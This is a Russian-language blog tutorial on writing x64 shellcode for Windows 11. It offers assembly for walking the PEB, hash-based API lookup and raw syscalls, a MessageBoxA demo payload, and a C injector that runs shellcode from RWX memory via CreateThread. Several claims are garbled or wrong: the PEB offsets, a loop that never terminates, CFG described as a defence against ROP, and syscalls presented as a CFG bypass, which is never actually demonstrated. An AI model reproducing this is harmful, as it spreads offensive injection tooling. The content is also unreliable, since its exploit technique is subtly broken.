72
Эй, привет, кодеры! Сегодня мы погружаемся в мрачный и крутой мир шеллкодов для Windows 11. Мы разберем, как обойти защиту Control Flow Guard (CFG), встроенную в современные системы Microsoft, и напишем Position-Independent Code (PIC) на чистом ассемблере. Это не просто теория — я дам тебе рабочие примеры, лайфхаки и пошаговый разбор. Готов? Погнали!
Что такое Control Flow Guard (CFG) и почему он нам мешает?
Control Flow Guard — это защита, встроенная в Windows начиная с версии 8.1 и усиленная в Windows 11. Ее цель — предотвратить атаки, основанные на перехвате потока управления, такие как ROP (Return-Oriented Programming). CFG проверяет, чтобы вызовы функций и возвраты адресов соответствовали заранее определенным “допустимым” точкам входа. Если шеллкод пытается сделать что-то “не по правилам” — бум, программа падает.
Проблема для нас: классические шеллкоды часто используют прямые вызовы функций (call) или прямые ссылки на адреса в памяти. С CFG это не работает, потому что адреса не проходят проверку.
Решение: писать код, который не зависит от абсолютных адресов, то есть Position-Independent Code (PIC), и обходить CFG, аккуратно манипулируя стеком вызовов или используя обходные пути для вызова функций.
Position-Independent Code (PIC): Почему он крут и как его писать?
PIC — это код, который может исполняться из любого места в памяти. Он не использует абсолютных адресов, а работает относительно текущей позиции (например, через регистр RIP в x64). Это идеально для шеллкодов, потому что мы не знаем заранее, где в памяти окажется наш код после инъекции.
Основные принципы PIC:
jmp short
или call rel
).Пошаговый план: Пишем шеллкод на ассемблере для Windows 11
Давай создадим простой шеллкод, который вызывает MessageBoxA
(для демонстрации), обходя CFG. Мы будем использовать x64-ассемблер, так как Windows 11 в основном работает на 64-битных системах.
Шаг 1: Получаем базовый адрес через PEB (без абсолютных адресов)
Чтобы найти адреса нужных функций (например, GetProcAddress
или LoadLibrary
), мы начнем с PEB. Это структура, которая доступна через регистр GS
в x64.
1 2 3 4 5 |
_start: mov rax, gs:[0x60] ; Получаем указатель на PEB (x64) mov rax, [rax + 0x10] ; PEB->Ldr (список загруженных модулей) mov rsi, [rax + 0x20] ; Первый модуль (обычно ntdll.dll) mov rbx, [rsi + 0x20] ; База модуля ntdll.dll |
Шаг 2: Ищем функции динамически
Теперь, когда у нас есть базовый адрес ntdll.dll
, мы можем парсить его экспорты, чтобы найти GetProcAddress
и далее загрузить нужные функции. Это долго, но CFG нас не остановит, потому что мы не делаем прямых вызовов.
Лайфхак: Вместо полного парсинга экспортов можно заранее вычислить хэши функций и сравнивать их. Это быстрее и компактнее. Вот пример поиска функции по хэшу (упрощенный):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
; Предполагаем, что rbx - база ntdll.dll find_function: mov rax, [rbx + 0x3C] ; Смещение к PE Header add rax, rbx mov rax, [rax + 0x88] ; Export Directory RVA add rax, rbx mov rsi, [rax + 0x20] ; AddressOfNames RVA add rsi, rbx xor rcx, rcx ; Счетчик search_loop: mov rdi, [rsi + rcx*4] ; Имя функции add rdi, rbx ; Вычисляем хэш имени (упрощено) ; Сравниваем с нашим хэшем для GetProcAddress ; Если совпадает - берем адрес из AddressOfFunctions inc rcx jmp search_loop |
Шаг 3: Обход CFG через прямой вызов системных функций
CFG проверяет только непрямые вызовы через указатели. Если у нас есть прямой адрес системной функции (например, из ntdll.dll
), мы можем вызвать ее напрямую через syscall
. Это работает, потому что системные вызовы не проходят через CFG.
Пример вызова системной функции:
1 2 3 |
; Предположим, rax содержит номер системного вызова для NtCreateFile mov r10, rcx ; Сохраняем параметры (конвенция x64) syscall ; Делаем системный вызов |
Шаг 4: Вызов MessageBoxA для теста
После получения адреса MessageBoxA
через GetProcAddress
мы вызываем его, но аккуратно, чтобы не сломать стек и не триггерить CFG.
1 2 3 4 5 6 7 8 9 10 11 |
; Параметры для MessageBoxA xor rcx, rcx ; hWnd = NULL lea rdx, [rel message] ; lpText (относительный адрес строки) lea r8, [rel title] ; lpCaption xor r9, r9 ; uType = 0 call [rel messagebox_addr] ; Вызов через относительный адрес ; Данные (строки) для MessageBoxA message: db "Hello from Shellcode!", 0 title: db "Shellcode Test", 0 messagebox_addr: dq 0 ; Сюда запишем адрес MessageBoxA |
Лайфхаки для работы с Windows 11 и CFG
VirtualAlloc
, ищи их низкоуровневые аналоги в ntdll.dll
(например, NtAllocateVirtualMemory
) и вызывай через syscall
.x64dbg
или IDA Pro
для отладки шеллкода. Это спасет кучу времени, когда CFG будет рушить твои планы.Типичные ловушки и как их избежать
RSP
и корректируй его инструкцией and rsp, -16
.Итоговый шеллкод: Сборка и тестирование
Теперь соберем наш шеллкод. Используй NASM для компиляции:
1 |
nasm -f bin shellcode.asm -o shellcode.bin |
Для тестирования можешь инъецировать его в тестовый процесс через простую программу на C/C++ с помощью VirtualAlloc
и CreateThread
. Но помни: делай это только в безопасной среде (виртуалка типа VirtualBox) и с разрешения владельца системы.
Пример инъектора на C:
1 2 3 4 5 6 7 8 9 10 11 |
#include <windows.h> #include <stdio.h> int main() { unsigned char shellcode[] = { /* Вставь сюда свой скомпилированный шеллкод */ }; LPVOID addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(addr, shellcode, sizeof(shellcode)); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); Sleep(1000); return 0; } |
Заключение: Ты на шаг впереди
Поздравляю, теперь ты знаешь, как писать шеллкоды для Windows 11, обходя Control Flow Guard, и создавать Position-Independent Code на ассемблере. Это только начало — дальше можно углубиться в техники обхода других защит, таких как ASLR или DEP, или оптимизировать код для еще большей скрытности.
Если хочешь копнуть глубже, изучай структуру PE-файлов, системные вызовы и механики работы PEB. И помни: с великой силой приходит великая ответственность. Используй эти знания только для исследований или в рамках легальных penetration-тестов.